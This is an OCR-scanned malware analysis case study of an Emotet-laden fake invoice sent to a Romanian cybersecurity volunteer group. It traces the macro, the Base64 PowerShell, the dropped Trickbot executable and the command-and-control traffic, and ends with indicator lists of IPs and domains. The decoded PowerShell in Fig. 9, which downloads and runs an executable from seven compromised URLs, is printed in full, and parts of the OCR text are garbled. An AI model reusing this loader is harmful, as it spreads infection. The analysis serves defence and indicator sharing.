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1. Introduction

In the context of the SAR-CoV-2 pandemic, direct or indirect attacks on critical infrastructures
have increased. The vectors of infection have diversified. Malware has become increasingly
sophisticated. Cyber attackers try to hide their traces. In addition to the economic damage, their
actions also result in the loss of human life. Fake news are distributed and exploited by attackers.
Voluntary groups that join institutional efforts are the normal defense response of society. In this
article, we will present a case study on an action directed against one of the groups of volunteers who

have publicly committed themselves to fighting crime and protecting health infrastructure.

2. First stage
2.1. E-mail Contact

The modus-operandi reveals actions that justify us to believe that an attempt has been made to
penetrate and compromise one of the cybersecurity structures that have assumed the task of
supporting health facilities and professionals by increasing the level of cybersecurity.

On October 14, 2020, six days after one of the online presentations organized by the National
Computer Emergency Response Center - CERT RO along with the Cyber Volunteers Group 19
Romania on the “Cybersecurity of Romanian hospitals”, an apparently harmless message was
received on the e-mail address (contact@cv19.ro), but security alerts signaled the possibility of a

malicious action.
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2.2. Visual analysis, message, and treatment

Question marks appeared when the text related to an invoice issued under a contract not
recognized by the recipient was analyzed. The Investigation [4] and Incident Response [2] procedure

were immediately initiated.
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From on 2020-10-14 14:24

[ factura fiscala 767958063 14 10 2020.doc

Buna ziua, Va transmitem alaturat factura fiscala nr. 767958063/14 10 2020 conform contractului nr 339767/14 10 2020. Va rugam sa confirmati
primirea
Cu stima,

Mesajul original
>*Delar™
> *Trimis:* miercurl, 14 octombrie 2020 13:21
> *Céitre* = >
> *Sublect:* FW.

Fig. 1. E-mail sent from a compromised web page [3].

When opening the file, you could see a so-called message than an update for operating system
is needed, informing the recipient that some applications needed updates, mentioning Microsoft
Word, also with the request of granting access to edit the document. It could be said that a lot of
operations were required to view this document, although it would normally have opened directly if
that application was already installed on the computer.

Moreover, the text was written on a relatively small font size and difficult to understand, and if
the user saw it, he/she would notice a lack of coherence or logic, and the user could infer that it is an

automatically generated text.



EJ_l Windows Update

Some apps need to be updated

These programs need to be upgrade because they aren’'t compatible with this file format

You need to click Enable Editing and then click Enable Content

i

Fig 2. The visual content of the document is called the tax invoice [2].

The sender's indications were intended to be quite clear and urged the recipient to follow the
recommended steps, but in this case, the decision was adopted by a cybersecurity specialist team of
Cyber Volunteers 19 Romania. [2] [3] [4].

2.3. Analysis on accessing the completed document and online detection

As a result, the document was loaded onto one of the malware detection platforms, and the
reported high detection (41/62) was observed as well as the presence of 2 tags: doc + execute-
dropped-file. At such a level, the chances of a file being infected are high, with tags indicating an

unusual fact - a .doc document, which is also executable.

@ 41 security vendors flagged this file as malicious
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Fig. 3. Malware signature detection platform [5a]



Analysis of more details through the platform provided explanations of the nature of the very
large report and drew attention to the fact that the file could be, now famous and undesirable, malware
EMOTET.

Analyzing the operating flow of the “invoice” [1] [3]:

1.  Opened winword.exe (Microsoft Office word);

2. When activating content, a "macro" was requested,;

3. The macro wanted to launch a PowerShell;
4

PowerShell intended to access several locations to trigger the second part of the attack.

Behavior Graph
Sample: factura fiscala 767958063 1 SUSPICIOUS
Startdate: 15/10/2020
Architecture:  WINDOWS

Score: 100
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Fig. 4. Activate file [1] [3]
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Fig. 5. Activation of the take-control instructions [1] [3].
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Fig. 6. Connection to addresses that may be command-and-control centers or sources for external

resource collection [1] [3].

3. Second stage

3.1 Additional methods of investigation

With the help of online platforms, it has been established that the received file was intended to
infect the devices on which it was activated. However, it is recommended that the analysis of these
files be carried out manually, especially in situations where infected files are protected against
analysis through online platforms [1] [5] or virtual machines. As a result, the file was opened with an

editing application and was revealed to be difficult to read or interpret the content.
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Fig 7. Content analysis [2]

By specific malware analysis methods, important components were extracted from the

document to make the PowerShell and macro configuration included in the file visible.

3.2 PowerShell analysis

What you can see in the image below is a Base64 encoding, which allows the transmission of

information by completely hiding the original text, settings, or commands that you want to execute.



POwersheLL -ENCOD

JABGAHMAZwA? AGgANwASADIAWWB I AGoAYQBYAFOANAAYADs AJABKAGCAMwWB 2 AGEBANQASADO AKAA0ACCAUQBt ACcAKWANAGHMA TwApAC
IARQBIAHQAPWEYAHKACWEDBAE4AZQBOACAAUWBLIAHIAdgBpAGMAZ QBQAGEAaQBuLHOATQRRAGALYQBNAGUACcqBdADoAOgAIAFMAZQRY
LCARARNAFULRCOANAC sAWAANAHAR JwhArACchcgBl AHUAJWAPAC sAJWEBMAC cAKQA TACQAWOBnAGoRbgRh zAGMAe QR AACoATWBHAGOR W
InAFRQLYWB4ACcAHwANIHeAZwAnACKAKWANAGMA awAnAC 2 AJWB TADAA QAN ACKAT ANt AGYANWBDAE gAQQBvAFOAOQAVACKAK WA AR WD
bwANACsAIWBiAGoAZQBRI AHQAJWADACAATgRl AHQAT.gBXAGUAY GBI AEWASQBIAG4ARAAATACQAUABLAGORAR AP ADT AaRACOACGAKAANAC
0AaQBuACCARWwANACEATWARAC s ATWwAWAC CARWANADCATWArACQATWBIAEQA JwArACcAdgAnACKkAKWwANA Dk agAnACsANAANAHUACcqghAn
LGELIWApAC=sAK AN AHTATWwEBACEAK ginAC s JTWwEBoAHQRAARWAC cAKWAN A Do JWwARAC s AKALnACE A LWwB vACcARWANLHITASWARAC s AK D
EnRCsAJwARIAHMAIWADACSAKAAN AH KR JWATrACCcAMWERACCcAKQRATACgRJWEMAC cRAKWANADCAIJWATACCALWAQAGIAJARNACKAKWRAORACCR
LogBiACcARwANnAHTATWwEBIAHART.OBJACCAEWANR ACGSATWwARACs AR A AN ACA AdR AN ACsATWBIACcANQArACgAITWBuAHQALWBI ACCAKWANLE
CRCWANACSAFAANACSAdWANACSAJWBWACOAYWANACKARWANAGEADgANACSRJWEOAGUAIJWATACORIJWEBUAHQATWANACSATWBDAGCATWAL
ACchAEQArACgATWEpAGHATWArACCAY QAR ACKAKWARAGWATWATACCALgARAC sAJWE J AGEATWATACCALQANAC sATWAVAC cARWACACCAdW
BrACcALWBIAHARJWApACSRAFAAN ACOAYOBKAGOAJWArACcRaQBuACCAKQAr ACcALWANACsAJWETACcAEWAOACcRagB jAFgRIJWAXACCR
bABRAGSACQEWAHOAIABPpAG4ATIARKAFAADLYBtAGQANgAYAGQARQETAHQACGBSAHSAJABFADUACAAZAGWAAWBPAC4ALgBEAEBAVWEQAE
RQATWArACCALRBIAHQAIWArACCAZQBLACCARQAGACQRRABAAGQAZWE L AEKANWADAC4AI gBMAGUALGBNAGAAVABOACIATIARTAGCAZQRY
ACKAEQRTAGIACQOELAGERAWATACQASQB] AGUAMABXAGQRAOASACORIWEPAFBAJWATACCAeABZACCAKWAOACCRaWwBTACCAKWANAGSATYW

Fig. 8. PowerShell has hidden coding methods [2]

The decoding of the character string results in a series of commands and information that is
intended to force the station on which it was installed to connect to multiple web addresses and to
trigger the second part of the attack utilizing another resonance-named malware — Trickbot, a

Malware that Microsoft has taken global action against. [6]

$Fsgbh77=[char]42;
$3g3vo57=(('QmcpiSy*);.( 'new-item")
$ENV:uSeRPRoFILe\tceqBWm\DcxWGCK\ -itemtype DirEctory;

[Net.ServicePointManager]::"SecURitYproTOCol" = ('tls12, tlsll, tls'));

$Lkmopoz = ('U9pruuf');
$Ygjn3cy=('Gjrbel3');
$Dzdguy_=$env:userprofile+(('{0}Tceqbwm{0}Dcxwgck{0}"') -f[CHAr]92)+$Lkmopoz.exe'));

$Fx5zu89=("Kndjx4n");
$05831ki=&( 'new-object') Net.WebcLIent;

$Pnmh62h=(

‘http://transfersuvan.com/wp-admin/@7HDv9jur/* '+
'http://colfarse.com.ar/colfar/A/*'+
‘http://ruralagricola.com.br/wp-admin/HZ5sy3nL7/ +
'http://vzminternational.com.br/wp-content/bD4sA/* "'+
'http://intc.solutions/wp-content/ig9N/ "'+
'http://helionspharmaceutical.com/wp-admin/g00/* '+ I
‘http://uniteddatabase.net/wp-admin/SjcXyYo/"')

| "SPLIT" ($Fsg6h77);

$A9wivtl=(('S8'+'g"')+'On"+'wg');

foreach($Wlgk9pz in $Pnmh62h){
try{

$05831ki. "DOWNLOaDFI1E" ($Wlgk9pz, $Dzdguy_);

$Esk92qj=("'F99pjpt');

If ((&('Get-Item') $Dzdguy_)."LengTh" -ge 28750) {
&('Invoke-Item')($Dzdguy_);
$Q_gztny=("'H_y1 94');
break;
$Icetqdv=("'0_xvkkk')

}
catch{

}
$Tblx_4ax=('Paqqwmj')

Fig. 9. Access security protocols, connect and download external resources [2]

We already notice the first indicators of compromise (I0C) about the seven domains that are
hosting (voluntarily / or not) second part of the attack. S ix cases out of seven are websites built in
WordPress, to which some security updates probably have not been applied, which have allowed

hackers to access and exploit them as pillars for a cyber-attack.



This revealed a new series of information on security protocols, user, web addresses, instruct
ions on downloading external resources, file names, categories of files, etc. Even if they seem
complicated, the guidelines are quite clear: it was intended to create a new document, identify the
user directory, TLS security protocols, identify and download an executable file (.exe) from one of
those addresses. The addresses contained the same file but with different names. It was intended that
for as long a period as possible, the document would remain resident, undiscovered, the settings
allowing it to search on compromised web pages (even if they might be deleted) until it found an
active executable file that could be downloaded.

transfersuvan.com/wp-admin/07HDvSjur,

colfarse.com.ar/colfar/A ZEcy2l 7
@ ruralagricola.com.br/wp-admin/HZ5sy3nL7

Opening UDLStWEABWLzNEqgrqwz.exe = Opening 25G.exe ===
You have chosen to open: You have chesen to open: EnheRE s
[=7 UDLStWBAbWLzNBqqrqwz.exe [ 25G.exe [5] NL5duXz3Dr5eTR.exe
which is: exe File which is: exe File which is: exe File
from: http://transfersuvan.com from: http://colfarse.com.ar from: http://ruralagricola.com.br
Would you like to save this file? Would you like to save this file? RictlvenRkaics th bled

Fig. 10. Active files on compromised web pages [2].

From the many addresses present in the settings, at the time of analysis, only the above were
active.

3.3 Macro analysis

The macro function handles the inclusion of hidden commands in a file that in the normal mode

only had to transmit certain information.

| Keyword |Description

|Document_open |Runs when the Word or Publisher document is

| | opened

|Create |[May execute file or a system command through

| | wMI

| showwindow |[May hide the application

|CreateObject |[May create an OLE object

|Hex Strings |Hex-encoded strings were detected, may be
|used to obfuscate strings (option --decode to|
|see all) |

+
+

+ +

ATIWA LAM WMWL& P NI N A SIS LW . Ay VM WMWY A .

VBA MACRO Gwvglf9k_hu
in file: factura_fiscala.doc - OLE stream: 'Gwvglf9k_hu’

Private Sub ' ()
Sux0z9139_1uu230.Ek_u496209he9b74
End Sub

Fig. 11. Macro analysis [2]



Rem Attribute VBA_ModuleType=VBEAFormModule

Option VBASupport 1
Function Ek_u48620%hedb74()
On Error Resume Next
Dim oBuFEGz()
ReDim oBuFEGz(3)
oBUFEGz(B) = 59 + 21
oBuFEGz (1) 831 + 41
0BUFEGz(2) =7 + &
Dim mKGnANBTLi()
ReDim mKGnANBFi(1)
MKGNANBFi(B) = 9 + 2
Dim xTavFh()
ReDim xTavFh(1l)
xTavFh(0) = 9781 + 2

Fb34r3rozzihdd = Rsgjdwhtfuwialg + "=EGRro=EGR=EGRce=EGRs=EGRs=EGR" + AZygm547nnzlgh
Fig. 12. Part of macro commands [2].

To better understand how it acts, we'll display this function in a more detailed form.

= % factura fiscala 767938063 14 10 2020.doc
= L_E- Project
= L_EI' Document Objects

= N Gwvglidk_hu

- Document_open
=[5 Forms
= LJ suxoz9i39_1uu230
- Ek_u496208hedb74
2 Pg_36uwddqiz73h2;
- YdfgeaZj_puy
E 75 Modules
= L G2z3v7sbiyvicei
—* Dpuzjh8ffbpmSrafp
= N9pmcTluhuarncx
-2 Yvx215zkbz6i7
[5 Class Modules
Sux020i39_1uu230
= 5 Standard
|5 Document Objects
|5 Forms
E_Er Modules
EELI' Class Medules

= % factura fiscala 767958063 14 10 2020.doc
= L_Er Project

5 G2z T56iyvlcci

|% Gwwglfak_hu

|5 Suxoz0i38_1uu230
|5 Standard

Fig. 13. Macro components attached to the analyzed document [2]

This is how the file is presented, beyond what the common user can see. The structure of this

macro is quite complex.

Macro From

Existing Macros

[75 SetCellColar
|5 Template
|75 Tools
[3 pythonSamples
= @ factura fiscala 767958063 14 10 2020.doc
=l "5 Project

"5 Gwvglfk_hu
|5 Suxoz0i39_ 1uu230
[75 Standard

& G2z3w756iyvlcci

m

4

B DpuzjhBifbpmSrafp

Q MNOpmec 70uhuarncx
LT ¥vx2152kbz67




afterwards.

Macro From Existing Macros

L__Lg Template
L__Lg Tools
L—Tj pythenSamples
= @ factura fiscala 767958063 14 10 2020.doc
5] Eﬁ Project
|75 G2z T56iyvicci
|75 Suxoz0i39_1uu230
L—_Lg Standard =

% seceico =

Macro From

I% SetCellColor
[& Template
L_E' Tools
L_E' pythonSamples
=] @ factura fiscala 767938063 14 10 2020.doc
= L_E' Project
["5 G2z 756iyvicei
["5 Gwwglfdk_hu

I Suxoz0i3o_luul3 ‘
L_E' Standard

-

Existing Macros

N Ek_u496200he0b74
LT Pq_36uwddqiz73hzi
LT vdtqeadj puy

Fig. 14. Macro components attached to the analyzed document [2]

when exploiting the victim's device.

3.4 Executable file analysis

If the user would have followed the instructions provided when opening the document, all this
could have led to the execution of commands and infecting the computer with a type of malware

mainly used to extract personal data and bank transactions, for espionage, for illegal activities (etc.)

One of the active files was chosen at the review date to discover the actual intentions of the

attacker and to determine whether the malware was intended to connect to further addresses

ﬁl‘ Q ruralagricola.com.br/wp-admin/HZ5sy3nL7/

- - I E AR LTD

Upening MLIduAZsLIre e

You have chosen to open:

[85] NL5duXz23Dr5eTR.exe

which is: exe File

from: http://ruralagricola.com.br

Would you like to save this file?

Save File

Cancel

Fig. 15. Malware analysis file [2].



; _MACOSK EA NL5duXz3DrSeTR.exe Properties 5
|| factura fiscala 767958063 14 10 2020.doc

B factura fiscala 767958063 14 10 2020.doc.... | | | General | Compatibiity | Securty | Detals | Previous Versions |
EA NL5duXz3Dr5eTRexe

i Val
| PowerShell.td roperty alue
Descripti
| PowerShell_decrypted.bd escription
File description  TestAnagle MFC Application
Type Application

File version 1.001
Product name  TestAngle Application
Product version 1,0,0,1

Copyright Copyright (C) 2003
Size 728 KB

Date modfied ~ 10/15/2020 3:45 AM
Language English {United States)

Original filename TestAngle EXE

Fig. 16. Executable File Properties [2].

The data entered in the details section is not real because when creating a malware file, one can
enter any information so that it gives the impression of a common application. File scanning is
required to see the results delivered by an antivirus solutions and to participate actively in the efforts

of the cybersecurity Community by adding new information or signatures concerning malware.

5 9 \_', 59 security vendors flagged this file as malicious

147baed4bd6b1362a634075dd79c390fc27d58cb8be?15c6a73c2dc?0f7dec 8
TestAngle

checks-network-adapters  checks-user-input  direct-cpu-clock-access  peexe  runtime-modules
= Community o

Scare

Fig. 17. Online platform scan results [5b]

Contacted URLs

Scanned Detections URL

2020-10-16 5 /8O http:/f188.166.220.180:7 080/pST4rPIOrmiKgFOAPasfOJGXIrgb/
2020-10-15 4 /80 http://188.166.220.180:7080/7qaBluxPLBatHnHuU/

Contacted IP Addresses

IP Detections Autonomous System  Country
188.166.220.180 12 /82 14061 SG
125.200.20.233 51782 4713 JP
93.186.197.189 3/82 24961 DE

Fig. 18. Addresses to which the executable connects [5b]

As in the previous situation, on the malware analysis platform a significant amount of
interesting information can be found, including the addresses from which the infiltrated malware
connects to the device.



The virus has been run on the test station of this type, and the activity has been monitored to

find which addresses it connects to. Trickbot malware [6] usually connects to an address (or multiple

addresses) from which it can receive specific commands or resources for new attacks because some

variants of this malware perform the same role as Emotet, i.e., as an intermediary in another more

complex attacks.

@+ 504 HTTP 125.200.20,233
At HTTP 93,186, 197.189:7030
[EYs HTTP  188.166.220.180:7...
[2s 200 HTP 188,166,220, 180:7...
@+ 504 HTTP 125.200.20,233
As HTTR 93.186.197. 1

[#s HTTR 188,166,220,

E HTTP

B2z 0 HTP 188,166,220, 180:7...
@+ 504 HTTR 125.200.20,233
As 502 HTTP 53.166.197.189:7030
[@s W0 HTTP 133,166,220, 180:7...
[@B2s 200 HTP 188,166,220, 180:7...
Y27 HTTP  188.166.220.180:7...

[ns2L\W 5Q6MRrtwyLki¢/sTED 1Xif
JZNSE2x/5f0/TNONAQ 32d¥r )/
[PpiYINA2DTS/4rH5ai4SAyDosNh/
JvSPoSkp316dfonf2mInSwnpEfHrCLyS7hh/ 132
ns2LWSQER/RriwyLkK /STE 1i/
[ZnSEZx/ShO THON4Q32d)r )]

[PPIvINAZDES [4rHSai45 AyDosNh/

JuSPo/Skp3 1l6dfpnfamIn/jWnpEfHrCLya7jhh/
JZIAOEI1AATLd31yyytafiolyrQOKz/fkaeRM/Kdt. .. 132

Jns2LVYSQBANRrtwyLkK/STEd 1Xif
[ZNSE2x/50/TNIN4Q 32dXr ]

JPRiYiNAZDTS 4rH5ai45AyDosNh/
JuSPojSkp3U6dfonf2mIn/jWnpEfHrCLy97ihh/ 132

fzJADE]1AATLd31yyyta/jolyrQOKz/flkgeRMJKdt. .

512 no-cat..
512 no-cac...

text/html; charset=UTF-8
text/hitml; charset=UTF-§
text/himl; charset=UTF-8
text/himl; charset=UTF-8

nlsduxz3drSetr: 1860
nl5duxz3drSetr: 1860
nlSduxz3drSetr: 1860
nlSduxz3drSetr: 1860

BYzXn8RMb3oFy(4
(Content-Disposition: form-data; name="uvhuq"; filename="ohhbz"
(Content-Type: application/octet-stream

gD1 lakx

PyfAfgnX.
(Content-Disposition: form-data; name="dgcndyuatmegh”; filename="arjr
(Content-Type: application/octet stream

512 no-ac.. texthiml; charset=UTF-8
text/html; charset=UTF-§
132 text/html; charset=UTF-8
text/htm; charset=UTF-8
text/hitml; charset=UTF-8

nl5duxz3dr Setr: 1860
nl5duxz3dr Setr: 1860
nl5duxz3drSetr: 1860
ni5duxz3drSetr: 1860

512 no-cac...

o Z~ 2051V i hbRE >
) USAD “xm1
[N g on X RER S i

nlsduxz3drSetr: 1860

512 ro-ac..  text/himl; charset=UTF-& nlSduxz3drSetr: 1860 065 12W LB TIur TtgGmUC
512 no-cac... text/himl; charset=UTF-8 nl5duxz3drSetr: 1860 (Content-Disposition: form-data; name="rarelwnyviksyiqa"; filename="ail
132 text/htm; charset=LTF-8 riSduxz3drSetr: 1860 || [Content-Type: appication/octet stream

text/html; charset=UTF-8
text/html; charset=UTF-8

nl5duxz3drSetr: 1860

QT4 Q 5@ @lin
nl5dincz3dr Setr: 1860 70 Be m ¢

P>07 1" b5

c6 IR [Z "qbp 01
KIL 1 UILE sjIAM® <THOD OOl [H >00 12 % whwxr
[~ k JO z~foCBwZ CC =02 ZCC#tCICD FY URC! az e
v oxw 7=(H,s =x jo= @67 }mjKOZZ ?oc4=Gp
v? oo 7 (0

C6512WUaBTIuriTglgGs

Fig. 19. Traffic analysis [2]

It can be seen how the malware tries to connect two of the addresses from which no response

is received, which means that they are no longer active. A third attempt resulted in a connection being

established and an exchange of data occurring. This traffic was used to identify the infected device

and to transmit commands. From time to time, the device sent a message to the hacker server

confirming both an online presence and the authenticity of the device requesting the connection, thus

excluding the interception of other devices, such as a computer of a malware analyst. [1]

During the analysis process, Prodefence Laboratory [2] used a virtual machine, and,

consequently, certain functions or resources of the malware may have been blocked once the virtual

machine was identified by the malware. The amount of data transmitted and the location (folder)

differ each time, the packets being encrypted to avoid an “accidental” interception of data by those

analyzing such incidents.

Destination Protocol Length Info
125.288.28.233 TCP 66 58749
125.200.20.233 TCP 54 58749
125.288.28.233 TCP 675 58749
125.200.28.233 TCP 1514 58749
125.288.28.233 HTTP

125.200.28.233 TCP

125.288.28.233 TCP

p2746233-iphf29@3souka.saitama.ocn.ne. jp
p2746233-ipbf29@3souka.saitama.ocn.ne. jp
samuiallvillas.com

samuiallvillas.com

mail.akhundoff.com
172.96.198.154-static.reverse.arandomserver.com
163.88.51.61
p2746233-ipbf2903scuka.saitama.ocn.ne. jp

HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP
HTTP

=
=
=

=

8@ [SYN] Seq=0 Win=8192 Len=0 MS5=1460 WS=4 SACK_PERM=1

88 [ACK] Seq=1 Ack-1 Win-64248 Len-8

8@ [PSH, ACK] Seq=1 Ack=1 Win=64248 Len=621 [TCP segment of a reassembled PDU]
88 [ACK] Seq=622 Ack=1 Win=64248 Len=1468 [TCP segment of a reassembled PDU]

3174 POST /dI1jaQwokzhvZw/EKsoIT1K7xRKEED/ IgHmh/ fZZymeWlyiyova/nESs/ HTTP/1.1
54 58749 - 88 [ACK] Seq=5282 Ack=2 Win=64248 Len=0
54 58749 > 88 [FIN, ACK] Seq=5282 Ack=2 Win=64248 Len=0

1738 POST /8@ocad27d/8vcYLCUBAx/ HTTP/1.1

3174 POST /BCBWFJyC34/rLvm2mkDWINTCHM/@31virD1IcP1X/unwodsjeC/ASreQFfXxe/ HTTP/1.1

3174 POST /IQkyqmz3JUXCrDIfe/Ilfmm/ HTTP/1.1

173@ POST /PpiviNA2bfs/4rH5aiqasAyDosNh/ HTTP/1.1

3198 POST /iUu@8LveMkRDq/pLBRGZKOX/ HTTP/1.1

3198 POST /LlY@Xqlxqf/LTdIRXCSTXLvaTBRQTn/ HTTP/1.1

1730 POST /nZAurdFfrLCHwOmOC/V6qI/LpUIH/w6i29VRzxGECDbHUC/ zYWRAS jXzVUKILEIZ] /Y TalwIolvEvnqyqZI/ HTTP/1.1
1738 POST /ns2LWSQ6TN/RrtwyLkK/sTEd1Xi/ HTTP/1.1

Fig. 20. Destination of the packets transmitted by the victim computer and the servers to which the

infected computer sent information [2]



DNS
DNS
DNS
TP
TCP
DNS

4 Hypertext Transfer Protocol
- POST /dI1j4QwoWzhvZw/EKsoII1K7xRKEED/IgHmh/fZZymeWIyiyoVa/nESs/ HTTP/1.1\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/webp,*/*;q=8.8\r\n
Accept-Encoding: gzip, deflate‘rin
DNT: 1\r\n
Connection: keep-alive\r\n
Referer: 125.20@.208.233/\r\n
Upgrade-Insecure-Requests: 1\r\n
Content-Type: multipart/form-data; boundary=---------------—-- ELOM5551sdBGed0ik\rin
User-Agent: Mozilla/4.8 (compatible; MSIE 7.@; Windows NT 6.1; WOW64; Trident/7.8; SLCC2; .NET CLR 2.8.58727;
Host: 125.288.20.233\r\n
> Content-Length: 4588\r\n
Cache-Control: ne-cache\rin
hrin
[Full request URI: http://125.200.28.233/d11j40wIu2hvZw/EKsoIT1K7*RKEED,/ Ighmh/fZZymeWIyiyoVa/nESs/]
[HTTP request 1/1]
File Data: 4588 bytes
4 MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "----------------- EL9m5551sdBGe40ik™
[Type: multipart/form-data]
Preamble: @dea
First boundary: ------------------- EL9m5s51sdBGed40ik\rin
4 Encapsulated multipart part: (application/octet-stream)
Content-Disposition: form-data; name="mchevlzdsuumjy”; filename="wloczpwluy™\r\n
Content-Type: application/octet-stream\rin\rin
4 Data (484 bytes)
Data: b38fd2b852efadcfe4lendad8f4l2eaa684598ad626bdabf..
[Length: 484]
Last boundary: \ri\n------------------ EL9m55515dBGed0ik--

Fig. 21. Hypertext transfer — Text data transfer [2]

517 Standard query response ©x3033 PTR 233.20.200.125.in-addr.arpa PTR p2746233-ipbf2903souka.saitama.ocn.ne.jp NS a.in-addr-servers.arpa NS d.in-addr-serve
517 Standard query response ©x3833 PTR 233.20.200.125.in-addr.arpa PTR p2746233-ipbf29@3souka.saitama.ocn.ne.jp NS c.in-addr-servers.arpa NS a.in-addr-serve
552 Standard query response @x6a86 A dns.msftncsi.com A 131.107.255.255 NS a.gtld-servers.net NS g.gtld-servers.net NS l.gtld-servers.net NS m.gtld-servers
6@ 80 - 58749 [FIN, PSH, ACK] Seq=1 Ack=5202 Win=64240 Len=0

60 80 - 50749 [ACK] Seq=2 Ack=5203 Win=64239 Len=0

494 Standard query response @x37fe PTR 189.197.186.93.in-addr.arpa PTR news.dns-netz.com NS f.in-addr-servers.arpa NS c.in-addr-servers.arpa NS a.in-addr-s¢

3.5

Fig. 22. DNS resolution with attacker servers [2].

Origin of commands and destination of information

Fig. 23. Trace of connection to attacker’s servers [1][3]

The analyzed variant of EMOTET is designed to infect devices with a bank virus variant

(Trickbot [6]), both using many addresses/IP. The cybersecurity specialists have sent to the relevant

authorities the recommendation to block those IP and seven websites identified during the analysis:



125.200.20.233:80 77.74.78.80:443 143.95.101.72:8080
03.186.197.189:7080 37.187.100.220:7080  103.229.73.17:8080
188.166.220.180-7080 198.20.228 9:8080 109.13.179.195:80

192.175.111.217-7080 190.117.101.56:80 195.201.56.70:8080

118.243.83.70:80 115.79.195.246:80 119.92.77.17:80
103.80.51.61-8080 73.55.128.120:80 75.127.14.170:8080
185.80.172.199-80 185.208.226.142:8080 172.105.78.244:8080
172.96.190.154-2080 190.96.15.50:443 139.59.12 63:8080
116.202.10.123-8080 157.7.164.178:8081 203.56.191.129:8080
46.105.131.68-8080 79.133.6.236:8080 202.29.237.113:8080
223.17.215.76:80 116.91.240.96:80 185142 236.163:443
192.210.217.94:2080 103.93.220.182:80 178.33.167.120:8080
190.194.12.132-80 50.116.78.109:8080 60.125.114.64:443
115.79.59.157-80 192.241.220.183:8080 78.186.65.230:80
190.191.171.72:80 8.4.9.137:8080 74.208.173.91:8080
24.231.51.190-80 91.75.75.46:80 2.58.16.86:8080
203.153.216.178-7080 192.163.221.191:8080 139.59.61.215:443
175.103.38.146:20 162.144.145 58:8080  190.85.46.52:7080
316.01.44.183-80 190.164.135.81:80 121.117.147.153:443
213.165.178.214-80 5.79.70.250:8080 190.192.39.136:80
113.203.238.130:20 46.32.229.152:8080 42.200.96.63:80
01.83.93.103:443 88.247.58.26:80 04.212.52.40:80
153.220219.1-443 183.77.227.38:80 58.27.215.3:8080
126.126.139 26443 47154 85.229:80 45.239.204.100:80
113.193.239.51-443 179.5118.12:80 180.148.4.130-8080

Fig. 24. List of IP involved in illegal activity [1] [3]

List of domains involved in malware activity:
o transfersuvan.com

. colfarse.com.ar

. colfarse.com.ar

o vzminternational.com.br

o intc.solutions

. helionspharmaceutical.com

° uniteddatabase.net

To verify a domain or an e-mail address when receiving a message suspected of being infected
with Emotet, the available resources can also be found at https://www.haveibeenemotet.com.

To verify that the device has already been infected with Emotet malware, detection and
disinfection  tools available on the GitHub platform can be used (
https://github.com/JPCERTCC/EmoCheck).

For methods of preventing and cleaning or disinfecting devices, the National Computer
Emergency Response Center - CERT RO team should be involved from an early stage of the

identification and analysis.



4.

Conclusions

The motivation of the attackers is different and comprises a fairly broad spectrum of dynamic

factors. Perpetrators may use a malware such as Emotet for various reasons, depending on their

purpose for criminal action. One such situation may be that of a very well-organized, state-sponsored

group can be placed behind an ordinary attack to induce panic, a feeling of insecurity and place

corrupt information in key locations. Sometimes, groups play the role of ideological promotion and

create social instability behind seemingly harmless activities. As in the case of the response to the

Emotet malware attacks, efforts to fight crime require firm measures, investments, and the

construction of structures able to respond to aggressions. Inter-institutional cooperation must include

well-founded and articulated rules, policies and procedures, within the framework of a joint defense

strategy, in a national and international context.
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